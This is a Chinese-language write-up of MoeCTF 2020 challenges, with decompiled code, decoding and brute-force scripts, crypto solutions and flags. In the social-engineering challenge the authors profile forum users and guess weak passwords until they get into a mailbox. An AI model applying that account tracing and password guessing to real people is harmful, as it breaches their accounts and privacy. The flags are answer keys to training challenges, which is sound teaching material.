MoeCTF 2020 Writeup

Author: JiJi, XiaoZhuo, Accelerat0r. All rights reserved.

Reverse

Welcome To Re!

下载得到一个 Signin.zip 的压缩包,解压后找到ELF文件,用ida64反编译后得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s2[8]; // [rsp+0h] [rbp-70h]
char s1; // [rsp+30h] [rbp-40h]
unsigned __int64 v6; // [rsp+68h] [rbp-8h]
v6 = __readfsqword(0x28u);
strcpy(s2, "moectf{W3lc0me-T0_th3-W0rld_Of_R3v3rsE!}");
puts("Welcome to MoeCTF! --by Reverier\nPlease Input your flag and I will check it:");
__isoc99_scanf("%41s", &s1);
if ( !strcmp(&s1, s2) )
puts("Congratulations!");
else
puts("Ruaaaaaaaaaaaaa~~~Wrong!");
return 0;
}

因此flag为 moectf{W3lc0me-T0_th3-W0rld_Of_R3v3rsE!}

Thank you JavaScript

Fxckit.js 发现如下代码

1
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('l 1=m(\'k-4-2\');i j 6(){1.2(\'q r p --n o b\');1.2(5 1.4());1.2(`a ${5 1.d(\'9 h e?\')}!`);f 3=g;F(!3){1.2(\'D E 7 B 8:\');3=5 1.4()===\'G{H\'+\'c\'+\'v\'+\'w\'+\'0\'+\'u-\'+\'s\'+\'t\'+\'z\'+\'A\'+\'!}\'}1.2(\'y! x C 7 8!\')}6();',44,44,'|io|write|saidHi|read|await|main|the|flag|Who|Hello|Reverier||ask|you|let|false|are|async|function|console|const|require|written|by|ThankYouJavaScript|MoeCTF|2020|Jav|aS||k_|Y|You|Congratulations|cr|ipt|true|find|Please|input|while|moectf|Fx'.split('|'),0,{}))

目测应该是经过了js混淆,尝试解析混淆代码

1
const io=require('console-read-write');async function main(){io.write('MoeCTF 2020 ThankYouJavaScript --written by Reverier');io.write(await io.read());io.write(`Hello ${await io.ask('Who are you?')}!`);let saidHi=false;while(!saidHi){io.write('Please input the true flag:');saidHi=await io.read()==='moectf{Fx'+'c'+'k_'+'Y'+'0'+'u-'+'Jav'+'aS'+'cr'+'ipt'+'!}'}io.write('Congratulations! You find the flag!')}main();

因此flag为 moectf{Fxck_Y0u-JavaScript!}

SimpleRe

题目中的提示是异或,我们放进ida看一下

1
2
3
4
5
6
7
int __cdecl main(int argc, const char **argv, const char **envp)
{
printf("MoeCTF 2020 SimpleRe --by Reverier\nInput flag:", argv, envp);
__isoc99_scanf("%32s", &x);
enc((__int64)&x);
return 0;
}

其enc函数有一个复杂的异或过程,最终结果为 db 'rpz|kydKw^qTl@Y/m2f/J-@o^k.,qkb'
因为异或运算有一个特性,就是 a^b^b==a ,通过这个来求逆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <stdio.h>
int main() {
char out[] = "rpz|kydKw^qTl@Y/m2f/J-@o^k.,qkb";
char dst[32];
for (int i4 = 0; i4 <= 30; ++i4 )
out[i4] ^= 0x37u;
for (int i3 = 0; i3 <= 30; ++i3 )
out[i3] ^= 0x49u;
for (int i2 = 0; i2 <= 30; ++i2 )
out[i2] ^= 0x2Eu;
for (int i1 = 0; i1 <= 30; ++i1 )
out[i1] ^= 0x57u;
for (int nn = 0; nn <= 30; ++nn )
out[nn] ^= 0x40u;
for (int mm = 0; mm <= 30; ++mm )
out[mm] ^= 0x21u;
for (int ll = 0; ll <= 30; ++ll )
out[ll] ^= 0x1Bu;
for (int kk = 0; kk <= 30; ++kk )
out[kk] ^= 0x56u;
for (int jj = 0; jj <= 30; ++jj )
out[jj] ^= 0x61u;
for (int ii = 0; ii <= 30; ++ii )
out[ii] ^= 0x15u;
for (int n = 0; n <= 30; ++n )
out[n] ^= 0x26u;
for (int m = 0; m <= 30; ++m )
out[m] ^= 0x49u;
for (int l = 0; l <= 30; ++l )
out[l] ^= 0x4Au;
for (int k = 0; k <= 30; ++k )
out[k] ^= 0x4Bu;
for (int j = 0; j <= 30; ++j )
out[j] ^= 0x39u;
for (int i = 0; i <= 30; ++i )
dst[i] = out[i] ^ 0x17;
printf("%s", dst);
return 0;
}

因此flag为 moectf{ThAnKs_F0r-y0U2_pAt13nt}

Protection

使用upx脱壳

1
2
3
4
5
6
7
8
9
10
upx -d protection 
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2013
UPX 3.91 Markus Oberhumer, Laszlo Molnar & John Reiser Sep 30th 2013

File size Ratio Format Name
-------------------- ------ ----------- -----------
925059 <- 351244 37.97% linux/ElfAMD protection

Unpacked 1 file.

脱壳后反编译得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __cdecl main(int argc, const char **argv, const char **envp)
{
signed int i; // [rsp+Ch] [rbp-34h]
char v5[40]; // [rsp+10h] [rbp-30h]
unsigned __int64 v6; // [rsp+38h] [rbp-8h]

//constants
char x[] = "aouv#@!V08asdozpnma&*#%!$^&*";
char y[] = {0x0C, 0x00, 0x10, 0x15, 0x57, 0x26, 0x5A, 0x23, 0x40, 0x40, 0x3E, 0x42, 0x37, 0x30, 9, 0x19, 3, 0x1D, 0x50, 0x43, 7, 0x57, 0x15, 0x7E, 0x51, 0x6D, 0x43, 0x57, 0};

v6 = __readfsqword(0x28u);
printf((unsigned __int64)"please input your flag: ");
_isoc99_scanf((unsigned __int64)"%28s");
for ( i = 0; i <= 27; ++i )
{
if ( ((unsigned __int8)x[i] ^ (unsigned __int8)v5[i]) != y[i] )
{
puts("wrong!", v5);
return 0;
}
}
puts("right!", v5);
return 0;
}

根据逆向分析,不难编写解密算法

1
2
3
4
5
6
7
8
9
#include <iostream>
#include <cstring>
int main(){
char x[] = "aouv#@!V08asdozpnma&*#%!$^&*";
char y[] = {0x0C, 0x00, 0x10, 0x15, 0x57, 0x26, 0x5A, 0x23, 0x40, 0x40, 0x3E, 0x42, 0x37, 0x30, 9, 0x19, 3, 0x1D, 0x50, 0x43, 7, 0x57, 0x15, 0x7E, 0x51, 0x6D, 0x43, 0x57, 0};
for (int i = 0; i <= 27; ++i )
std::cout<<(char)(x[i]^y[i]);
return 0;
}

因此flag为 moectf{upx_1S_simp1e-t0_u3e}

Real EasyPython

得到 puzzle.pyc 文件,反编译得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
key = [115, 76, 50, 116, 90, 50, 116, 90, 115, 110, 48, 47, 87, 48, 103, 50, 106, 126, 90, 48, 103, 116, 126, 90, 85, 126, 115, 110, 105, 104, 35]
print('Input your flag: ', end='')
flag = input()
out = []
for i in flag:
out.append((ord(i) >> 4) ^ ord(i))

if len(out) != len(key):
print('TRY AGAIN!')
exit()
for i in range(len(out)):
if out[i] != key[i]:
print('TRY AGAIN!')
exit()
print('you are right! the flag is : moectf{%s}' % flag)

只需编写算法爆破flag即可

1
2
3
4
5
6
key = [115, 76, 50, 116, 90, 50, 116, 90, 115, 110, 48, 47, 87, 48, 103, 50, 106, 126, 90, 48, 103, 116, 126, 90, 85, 126, 115, 110, 105, 104, 35]
for i in key:
for j in range(0, 128):
if (j >> 4) ^ j == i:
print(chr(j), end='')
break

因此flag为 moectf{tH1s_1s_th3-R3a1ly_3asy_Python!}

EzJava

得到 EasyJava.class ,为Java的类文件,于是丢进反编译,得到的关键代码如下

1
2
3
4
5
6
7
8
9
10
11
int[] arrayOfInt = { 43, 23, 23, 62, 110, 66, 94, 99, 126, 68, 43, 62, 76, 110, 22, 5, 15, 111, 86, 75, 78, 83, 86, 0, 85, 86 };
for (int i = 0; i < str3.length() - 1; i++){
int j = str3.charAt(i);
int k = str3.charAt(i + 1);
int m = j ^ k;
if (m != arrayOfInt[i]){
System.out.println("Rua~~~Wrong!");
return;
}
}
System.out.println("Congratulations!");

flag总共有35位,内部有35-8=27为位,格式为 moectf{xxxxxxxxxxxxxxxxxxxxxxxxxxx}
arrayOfInt 只有26位,而flag有27位,说明最后一位未知,需要爆破。编写爆破算法如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <iostream>
#include <string>
int main(){
char arrayOfInt[26] = { 43, 23, 23, 62, 110, 66, 94, 99, 126, 68, 43, 62, 76, 110, 22, 5, 15, 111, 86, 75, 78, 83, 86, 0, 85, 86 };
std::string flag;
for(int i=0; i<128; i++){
flag = (char)i;
for(int j=25, tmp = i; j>=0; j--){
tmp = arrayOfInt[j] ^ tmp;
flag = (char)tmp + flag;
}
std::cout<<flag<<std::endl;
}
return 0;
}

i=101 ,即最后一位为 e 时,得到预期结果 Java_1s-N0t_a-CUP_0f-c0ff3e

因此flag为 moectf{Java_1s-N0t_a-CUP_0f-c0ff3e}

RollCall

根据提示 在软件设置中把任意一个学生的性别改成2, 保存后重启软件即可获取flag. ,以及 如果你是通过逆向主程序得到了flag, 请务必联系管理员加分, 顺便接受膜拜. 可知逆向非常麻烦,考虑取巧的方法。
主程序为 RandomNames13.0.exe ,打开后尝试修改性别,发现只能修改为 01 ,用CE修改器扫描了一圈无果,用OD调试了半天无果。
考虑到需要保存文件,就开始监控程序的行为,发现程序读写了一个叫 UserData.sqlite 的数据库文件。
使用 SQLiteSpy 修改性别为 2 ,载入时就自动弹出了flag对话框

因此flag为 moectf{h3y_y0u-arE_succ33deD!}

Crypto

Stream

得到 puzzle.py ,其中xor未知

1
2
3
4
5
import base64
flag = "XXXXXXXXXXXXXXXXXXXXXXXXXXXX"
xor = ?
print(len(xor))
print(base64.b64encode(("".join([chr(ord(i)^ord(xor)) for i in list(flag)])).encode("ASCII")))

为描述更加清晰,翻译成以下函数形式

1
2
3
4
5
6
def enc(flag, xor):
tmp = ""
for i in list(flag):
tmp += chr(ord(i)^ord(xor))
result = base64.b64encode(tmp.encode("ASCII"))
return result

根据encode方法,很容易写出来decode方法

1
2
3
4
5
6
def dec(src, xor):
tmp = base64.b64decode(src).decode("ASCII")
flag = ""
for i in list(tmp):
flag += chr(ord(i)^ord(xor))
return flag

题目给了输出为

1
2
1
b'Og9hNAFrCjU9aQ4+C2psLzxpYRE6azw+FmphPgk2EjQBDyw+DWsKIQIPHiwAaBYoOx8wNBU2aGU='

根据输出得知xor只有一位,易穷举
在穷举的结果中,找到一个可解码的base64
bW9lY3Rme1VfS24wd19Ib3dfN29fQnJlYWtfU3RyZWFtX0NpcGhlMn0= ,得知 xor = 'X'

因此flag为 moectf{U_Kn0w_How_7o_Break_Stream_Ciphe2}

easycrypto

得到 task.py ,可以看到加密算法是计算 f(x)=5x^2+6x-8 的映射

1
2
3
4
5
6
7
8
9
10
11
from FLAG import flag
import math

def enc(plain):
cipher = []
for i in plain:
m = ord(i)
cipher.append(5 * m ** 2 + 6 * m - 8)
return cipher

print(enc(flag))

因此解一元二次方程后,不难编写解码算法

1
2
3
4
5
6
7
def dec(cipher):
plain = ""
for i in cipher:
plain += chr(int(0.1*math.sqrt(20*i+196)-0.6))
return plain
encoded = [60051, 62263, 51603, 49591, 67968, 52624, 76375, 38359, 51603, 58960, 49591, 62263, 60051, 51603, 45687, 67968, 62263, 45687, 22839, 65656, 73923, 63384, 67968, 62263, 78867]
print(dec(encoded))

因此flag为 moectf{Welcome_to_Crypto}

simple_number_theory

根据提示是初等数论,题目如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from flag import flag

p = 702642074436764837683441695539

a = 1086077784009247
b = 862805818180723

def padding(m):
lenth = 8 - len(m) % 8
return m + chr(lenth).encode() * lenth

def bytes_to_long(s):
res = 0
for i in s:
res *= 256
res += i
return res

def enc_block(m):
return (a * m + b) % p

def enc(m):
m = padding(m)
c = []
for i in range(len(m) // 8):
c.append(enc_block(bytes_to_long(m[i*8:i*8+8])))
return c

if __name__ == "__main__":
print(enc(flag))

#[609157021623541347403691228214, 296649570588624720860438742570, 56199496972820506761619039889, 95133897800551968959628311224]

对于 (a * m + b) % p ,商是不知道的,只知道模,因此考虑爆破商

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
p = 702642074436764837683441695539
table=[609157021623541347403691228214, 296649570588624720860438742570, 56199496972820506761619039889, 95133897800551968959628311224]
a = 1086077784009247
b = 862805818180723
for p2 in table:
for i in range(0, 20000):
p3 = (p2 + p * i) - b
p4 = p3 % a
if p4 == 0:
m = p3 // a
s=''
for i in range(32, 127):
s += chr(m % 256)
m = (m - m % 256) // 256
for i in range(len(s)-1, -1, -1):
if ord(s[i])>32 and ord(s[i])<127:
print(s[i], end="")

因此flag为 moectf{Integers_@re_W0nderful}

rsa_begin

题目给出 task.py 如下,我们发现题目很友好,给出了 pq

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from gmpy2 import *
from Crypto.Util.number import *
from flag import flag
q = getPrime(1024)
p = getPrime(1024)
n = p * q
e = 0x10001

m = bytes_to_long(flag)
c = pow(m , e , n)
print('c =' , c)
print('p =' , p)
print('q =' , q)
print('n =' , n)
print('e =' , e)


#c = 12786994906832886031173089454539830225421640443805160963440942546071910322282773910135388020414967368794768319321460372875327006020157548651622969466323905189761834455201291838045352561790791600881627927594863932384116760236609096504346833060291203939690475993692410973499329433726175351882818053841075210942250478835641657575946226612389154039920962506062857726362447590070697348315291411570674334126096132112365825105842643843896421848410966564321518660727994853036555116782763422065173850238826345797198901647320210828033061322523971939726188821545177029535860881611210887039411052848607563035583276075332653567834
#p = 161719691876167304386300539654699854745688262478039691942271426308613132466937889105173933022986654040443219708318126579048996288583272346602042650222520127626611975688909019632479930508343350314542889627461529623000987307169157443265879212155437165660477850241678385286601587538517091605374764970915451201471
#q = 131679150542057883837006988923642169851011066771905140540444762603374903776910595387305441746623070810587630852182725227845916400198693359271062585498062084740896090668288333576457754165324164735966791029516030696195703650691726650990903496820364700241229117883279657833543807874786274886417501405960125022153
#n = 21295111652177049852547386222656846645616549922902112221240647622752994625687294739828756977846793220378085163155773051922086862363248151399852421844018730199066331944608000906761112010951655369036878807145188296884981895884278542857120225505310980291226351653588799242142355376939447934804833830853036785704513557039806761305316841740131204576974408869765714675230132247412774215945663807730855436503625577606009921411947891570324777735323489304604987902364932089976811865007609745513534209603256719511305317200247134396733168695387708420206468160279271453425776388025425790010391137010735121696446552257334341187063
#e = 65537

既然给出了p和q,直接解密即可

1
2
3
4
5
6
7
8
9
10
11
12
13
from gmpy2 import *
from Crypto.Util.number import *

c = 12786994906832886031173089454539830225421640443805160963440942546071910322282773910135388020414967368794768319321460372875327006020157548651622969466323905189761834455201291838045352561790791600881627927594863932384116760236609096504346833060291203939690475993692410973499329433726175351882818053841075210942250478835641657575946226612389154039920962506062857726362447590070697348315291411570674334126096132112365825105842643843896421848410966564321518660727994853036555116782763422065173850238826345797198901647320210828033061322523971939726188821545177029535860881611210887039411052848607563035583276075332653567834
p = 161719691876167304386300539654699854745688262478039691942271426308613132466937889105173933022986654040443219708318126579048996288583272346602042650222520127626611975688909019632479930508343350314542889627461529623000987307169157443265879212155437165660477850241678385286601587538517091605374764970915451201471
q = 131679150542057883837006988923642169851011066771905140540444762603374903776910595387305441746623070810587630852182725227845916400198693359271062585498062084740896090668288333576457754165324164735966791029516030696195703650691726650990903496820364700241229117883279657833543807874786274886417501405960125022153
n = 21295111652177049852547386222656846645616549922902112221240647622752994625687294739828756977846793220378085163155773051922086862363248151399852421844018730199066331944608000906761112010951655369036878807145188296884981895884278542857120225505310980291226351653588799242142355376939447934804833830853036785704513557039806761305316841740131204576974408869765714675230132247412774215945663807730855436503625577606009921411947891570324777735323489304604987902364932089976811865007609745513534209603256719511305317200247134396733168695387708420206468160279271453425776388025425790010391137010735121696446552257334341187063
e = 65537

d = invert(e, (p-1) * (q-1))
flag = long_to_bytes(pow(c, d, n))

print(flag)

因此flag为 moectf{uLl_f1Nd_th@t_RsA_1s_1nte2eSt1nG}

easy木大定理

题目给出 task.py 如下,考虑RSA加密,且题目给出了 def dec(clist , nlist , e) 的解密算法,但是运行起来特别慢,很难在短时间内得到结果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from gmpy2 import *
from Crypto.Util.number import *
from flag import flag

def phi(p):
count = 0
for i in range(1 , p):
if gcd(p , i) == 1:
count += 1
return count

def padding(m):
lenth = 8 - len(m) % 8
return m + chr(lenth).encode() * lenth

def enc_block(m , n , e):
return pow(m ,e , n)

def enc(plain , nlist , e):
m = padding(plain)
c = []
for i in range(len(m) // 8):
c.append(enc_block(bytes_to_long(m[i*8:i*8+8]) , nlist[i%len(nlist)] , e))
return c

def dec(clist , nlist , e):
m = b''
for i in range(len(clist)):
m += long_to_bytes(pow(clist[i] , invert(e , phi(nlist[i%len(nlist)])) , nlist[i%len(nlist)]))
return m

p = getPrime(128)
q = getPrime(128)
r = getPrime(128)
e = getPrime(64)
nlist = [p , q , p*q , q*r , p*q*r , p*p , p*p*r , q*q*q*p*r , r]
print('p =' , p)
print('q =' , q)
print('r =' , r)
print('e =' , e)
print(enc(flag , nlist , e))

#p = 271025496017434332035320753340939587753
#q = 187062615477826075738455044071781085709
#r = 264397348115983548873673645475684815267
#e = 14436419940785226047
#[79782042635181913487761772413093921465, 107105488436932482013906334623869740338, 3509151100641734446618186842681522103526622068330460330390027482293268995394, 44354713639146606352347981311754502280362685562054139875438634255351381551517, 7171349658970005627908887988207921395623970773677857712592896110910571654197390635906137916220127293111749219597125, 58862655174446752862856422604624433087552362298932033062526721301095820867360, 3090488671394364096763874366619864017834796691989365240435579932872211345861700323240994096818599239942176113337679, 53242497022725707314805904569598522652513669651433432760834670648465562534867455830168023766511087312372214790085176655801545624726261017112578045706948404488664028834533439478580770424859450, 81020119172085603626908922002571725744]

尝试优化这个算法,发现主要效率低在了欧拉函数的实现,如下

1
2
3
4
5
6
def phi(p):
count = 0
for i in range(1 , p):
if gcd(p , i) == 1:
count += 1
return count

这个算法的时间复杂度虽为 O(n) ,但对于这么庞大的数据规模来说必须优化,而且要尽可能优化成 O(1)
我们先来观察可能用于计算欧拉函数的列表

1
nlist = [p , q , p*q , q*r ,  p*q*r , p*p , p*p*r , q*q*q*p*r , r] # 其中 p, q, r 均为已知素数

根据欧拉定理:

  1. n 为素数时: phi(n) = n−1 ;
  2. m, n 互质时: phi(m*n) = phi(m)*phi(n) ;
  3. n 是素数 pk 次幂,phi(p^k) = (p−1)*p^(k-1) .

可以立即写出所有可能情况的欧拉函数值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def phi(x):
if x == p:
return p-1
if x == q:
return q-1
if x == r:
return r-1
if x == p*p:
return p*(p-1)
if x == p*q:
return (p-1)*(q-1)
if x == q*r:
return (q-1)*(r-1)
if x == p*p*r:
return p*(p-1)*(r-1)
if x == p*q*r:
return (p-1)*(q-1)*(r-1)
if x == q*q*q*p*r:
return q*q*(q-1)*(p-1)*(r-1)

因此flag为 moectf{EULEREu1erEule2Eu1erEulerEyoulerEU1e2Mud@MuDaMudamuDaMudaMUDA}

Misc

Welcome

下载得到 profession.jpg ,图片为黑人抬棺相关图片,在末尾发现如下字样

1
2
3
4
000075d0: 2E 2E 6D 6F 65 63 74 66 7B 4A 6F 31 6E 5F 30 75    ..moectf{Jo1n_0u
000075e0: 72 5F 70 72 6F 66 65 73 73 69 6F 6E 61 6C 5F 67 r_professional_g
000075f0: 72 6F 75 70 7D 2E 2E 2E 00 C4 6B 5F EB 7F CA 7A roup}....Dk_k.Jz
00007600: 14 1F FF D9 ...Y

因此flag为 moectf{Jo1n_0ur_professional_group}

MD5

c4d038b4bed09fdb1471ef51ec3a32cd
请将得到的结果包上moectf{}进行提交
经过cmd5,发现原文为 114514

因此flag为 moectf{114514}

base64

bW9lY3RmJTdCZXpfYjY0JTIxJTdE
base64解码后得到flag

因此flag为 moectf{ez_b64!}

hey fxck you!

下载得到 good_morning_my_neighbors.png ,用binwalk得到

1
2
3
4
5
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 PNG image, 933 x 812, 8-bit/color RGB, non-interlaced
515662 0x7DE4E Zip archive data, at least v2.0 to extract, compressed size: 92, uncompressed size: 416, name: fk u.txt
515882 0x7DF2A End of Zip archive, footer length: 22

压缩包内发现一个名为 fk u.txt 的文本文档,为brainfuck

1
++++++++[>>++>++++>++++++>++++++++>++++++++++>++++++++++++>++++++++++++++>++++++++++++++++>++++++++++++++++++>++++++++++++++++++++>++++++++++++++++++++++>++++++++++++++++++++++++>++++++++++++++++++++++++++>++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++<<<<<<<<<<<<<<<<-]>>>>>>>>---.++.<+++++.--.>+++++.<+++.>>-----.--.<<-.>-.<<<<<+.>>>>>>.<<.>.<<<<<.>>>>+.+++++.------------.<+++++.>.<<<++.<.>>>>>>++++.

因此flag为 moectf{yes!yes!fk_U_2!}

base64?¿

0H9MJjCNPiMgJHMQJNtfyEJgIjtS1Ig=
根据提示 vwxrstuopq34567ABCDEFGHIJyz012PQRSTKLMNOZabcdUVWXYefghijklmn89+/ 可知这是base64换表

1
2
3
4
5
6
7
import base64, string

old_table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
new_table = "vwxrstuopq34567ABCDEFGHIJyz012PQRSTKLMNOZabcdUVWXYefghijklmn89+/"
flag = "0H9MJjCNPiMgJHMQJNtfyEJgIjtS1Ig="

print(base64.b64decode(flag.translate(str.maketrans(new_table, old_table))))

因此flag为 moectf{itai_base64_qaq}

Pseudo Encryption

下载得到 flag.zip ,可能是压缩包文件,发现打不开。用16进制查看如下

1
2
3
4
00000000: 12 34 04 14 00 00 00 08 00 E1 AC 22 51 9C C5 9E    .4.......a,"Q.E.
00000010: 60 6D 34 00 00 EE 3A 00 00 08 00 00 00 66 6C 61 `m4..n:......fla
00000020: 67 2E 6A 70 67 CC 5A 77 3C DB D1 16 4F FB 3A 75 g.jpgLZw<[Q.O{:u
00000030: AA AD C6 6B 95 DA 6A 6F 5E 07 1A 11 2A 21 B1 3D *-Fk.Zjo^...*!1=

发现的确是压缩包,里面有 flag.jpg ,但是文件头被损坏了。
发现 14 00 00 00 很像ZIP压缩包格式,补全 50 4B 03 04 文件头,如下

1
2
3
4
00000000: 50 4B 03 04 14 00 00 00 08 00 E1 AC 22 51 9C C5    PK........a,"Q.E
00000010: 9E 60 6D 34 00 00 EE 3A 00 00 08 00 00 00 66 6C .`m4..n:......fl
00000020: 61 67 2E 6A 70 67 CC 5A 77 3C DB D1 16 4F FB 3A ag.jpgLZw<[Q.O{:
00000030: 75 AA AD C6 6B 95 DA 6A 6F 5E 07 1A 11 2A 21 B1 u*-Fk.Zjo^...*!1

尝试解压,解压成功,得到一个图片,在文件尾发现

1
2
3
00003ac0: D9 20 62 57 39 6C 59 33 52 6D 4A 54 64 43 53 6E    Y.bW9lY3RmJTdCSn
00003ad0: 56 7A 4E 31 39 6A 4E 6D 46 75 4F 57 56 66 51 46 VzN19jNmFuOWVfQF
00003ae0: 39 69 4D 58 51 6C 4D 6A 45 6C 4E 30 51 3D 9iMXQlMjElN0Q=

为一串base64,解码后得到flag

因此flag为 moectf{Jus7_c6an9e_@_b1t!}

不 会 吧 ? 就 这 ¿

下载得到 puzzle.jpg ,里面发现压缩包,解压后得到 puzzle.txt
里面是一个01矩阵,按第一个元素为1替换,每行倒序再组合可得如下01串

1
0101100100110000011101010101111101110111011010000011010001110100001111110010110100110000011011100011000101111001010111110111010001101000001100010101001100111111

转文本再套上moectf{}即可得到flag

因此flag为 moectf{Y0u_wh4t?-0n1y_th1S?}

Cor1e的支票

下载得到 puzzle.cor1e 文件,用文本编辑器打开

1
。。。。。。。。。。。。。。。。。。。。!?!!。?。。。。。。。。。。。。。。。。。。。。?。?!。?。。。。。。。。。。。。。。。。。。!。。。。。!。?。。。。。。。!?!!。?(此后省略若干字符,文本总共1080个字符)

猜测了很多编码,因为是三进制的一种编码,又同时含有 ,易想到Ook
替换为 Ook. ,将 替换为 Ook! ,将 替换为 Ook? ,使用Ook解码即可得到flag

因此flag为 moectf{cor1e_AnD_e3qie_1s_CP}

简 单 的社工题

根据题目信息:

1
2
3
4
5
本题不需要使用脚本对服务器进行爆破!
简单的社工尝试!你能找到隐藏的moectf的flag吗?
提示:百度贴吧
建议使用手机版贴吧寻找第一步的信息
flag格式:moectf{flag内容}

百度贴吧搜索 moectf ,找到一个相关帖子: https://tieba.baidu.com/p/6870157760
社工发帖人 玄影空灵星痕印 ,可以发现他和一个叫 arttnba 的人互关,这两个人关系十分暧昧
arttnba 的主页发现他关注的贴吧列表如下

1
['flag', '来点', 'cn控', '点', 'mail', 'our', '①', '43', '③', '②', '⑨']

于是得到邮箱地址 923431@ourmail.cn ,这是公邮,找到邮箱的登录地址,发现需要密码。
创建一个邮箱,知道默认密码是6位数字,但这个不一定是默认密码,很有可能修改过。
尝试了6位的弱口令,并没有任何匹配。尝试7位弱口令,尝试到 a123456 时,发现加入成功。
在里面发现了 /s 发的邮件,标题为 address:1O9JFcsUyqQ7T85WXmHH6nQ ,下方还有一个 a3cj
易知这是百度云的链接和提取码,构造百度云链接 https://pan.baidu.com/s/1O9JFcsUyqQ7T85WXmHH6nQ 并使用提取码提取
得到 弗莱格.txt ,内容为 bW9lY3RmJTdCdzB3X1kwdV9jNG5fZjFuZF9tM19vdVQlMjElN0Q= ,base64解码即得到flag

因此flag为 moectf{w0w_Y0u_c4n_f1nd_m3_ouT!}

A3FXCK

题目大致如下所示

1
2
3
4
123456[]()+!
luoq1an recommended a new language to arttnba3 and the following text is the first programme written by him but something may not be right...

luoq1anarttnba2luoq1anarttnba3arttnba6luoq1anarttnba2arttnba5luoq1anarttnba2luoqi4nluoq1anarttnba5luoq1anarttnba2arttnba2arttnba5arttnba3luoq1anarttnba6luoq1anarttnba2arttnba2arttnba5luoq1anarttnba2luoq1anluoq1anarttnba2arttnba2luoqi4nluoq1anarttnba5arttnba6arttnba5luoq1anarttnba2arttnba5luoq1anarttnba5……(省略若干字符)

考虑是 JSFuck ,使用 regex = '[]()+!' 进行替换

1
2
3
4
5
regex = '[]()+!'
flag = ''
for i in problem:
if i.isdigit():
print(regex[int(i)-1], end='')

得到一段 JSFuck 代码,在浏览器控制台运行即得到flag

因此flag为 moectf{J5Fxck_1s_1nt3res7in9!}

⑨的完美算术教室

nc sec.arttnba3.cn 10001

1
2
3
4
5
6
7
8
$ nc sec.arttnba3.cn 10001
welcome to moeCTF2020: cirno no perfect arithmetic classroom!!!!!
5 + 4 = ?
9
9 is the best!
0 + 8 = ?
8
bakabaka~

nc连接到以后它需要一直发送9,于是就工具人模式一直发送9,在发送到第99次的时候,奇迹出现了

1
2
3
4
5
6
7
5 + 9 = ?
9
9 is the best!
5 + 8 = ?
9
9 is the best!
moectf{c1rn0_1s_tH3_5tr0n9est!}

因此flag为 moectf{c1rn0_1s_tH3_5tr0n9est!}

停不下来了啊啊啊啊啊啊啊

题目给了一个3.3G的大视频,而且还循环播放无聊的场景
考虑提示为: 停不下来了啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊为什么我要一直啊啊啊啊啊啊啊啊六个小时啊啊啊啊啊啊啊啊啊啊啊我的啊啊啊啊啊啊啊啊里面好像掺入了什么奇怪的东西啊啊啊啊啊啊啊啊啊啊啊啊啊
可能是向视频里插入了包含flag的帧,使用工具提取每一帧,再按大小排序,找到黑底flag图片四张,拼接起来即可

因此flag为 moectf{G0d_Of-Vid3o+Edit1ng_AnD_ffmp3G}

星空

下载到一张 out.png 图片,里面隐藏了一个压缩包,解压后发现了 420 张图片,为一个拼图 out-*.jpg (*=0~419)
因为自己一张一张拼太麻烦了,所以使用 gaps 工具,利用遗传算法来自动求解拼图

安装过程:

1
2
3
4
5
git clone https://github.com/nemanja-m/gaps
cd gaps
pip install -r requirements.txt
sudo apt-get install python-tk
pip install -e .

然后先将 420 张拼图合成为一张大图:

1
montage *.jpg -tile 20x21 -geometry +0+0 flag.jpg

再使用 gaps 自动解拼图:

1
gaps --image=flag.jpg --generations=30 --population=420

拼图求解完成后会自动打开,图片上清晰可见红色字迹的手写flag

因此flag为 moectf{thE_5t@rrY_sKy_1s_ReAlly_beauTifuL}

Web

GET

1
2
3
4
5
6
7
8
<?php 
error_reporting(0);
highlight_file(__FILE__);
include 'flag.php';

$a = $_GET['a'];
if($a==flag)
die ($flag);

所以payload为GET a=flag
因此flag为 moectf{Y0u_kn0w_G4T_n0w}

POST

1
2
3
4
5
6
7
8
<?php 
error_reporting(0);
highlight_file(__FILE__);
include 'flag.php';

$a = $_POST['a'];
if($a==flag)
die ($flag);

所以payload为POST a=flag

因此flag为 moectf{Y0u_kn4w_p0st_n0w}

小饼干

根据小饼干为cookie,直接翻cookie

因此flag为 moectf{y0u_c4n_not_e4t_thi3_c00k1e}

Introduction

在网页源文件的注释中即可发现flag

1
2
3
4
5
6
7
<div class="intro">
<p>MoeCTF是西安电子科技大学一年一度的信息安全新生夺旗赛, 由西电信息安全协会面向全体准大学生举办, 题目难度不高且坡度平缓, 比赛平台开设时间很长, 0基础新生可以通过本次比赛对信息安全夺旗赛(CTF)有一个基础且全面的认识, 中学参加过一些CTF比赛的准大学生们也可以通过本次比赛重温CTF赛事.</p>
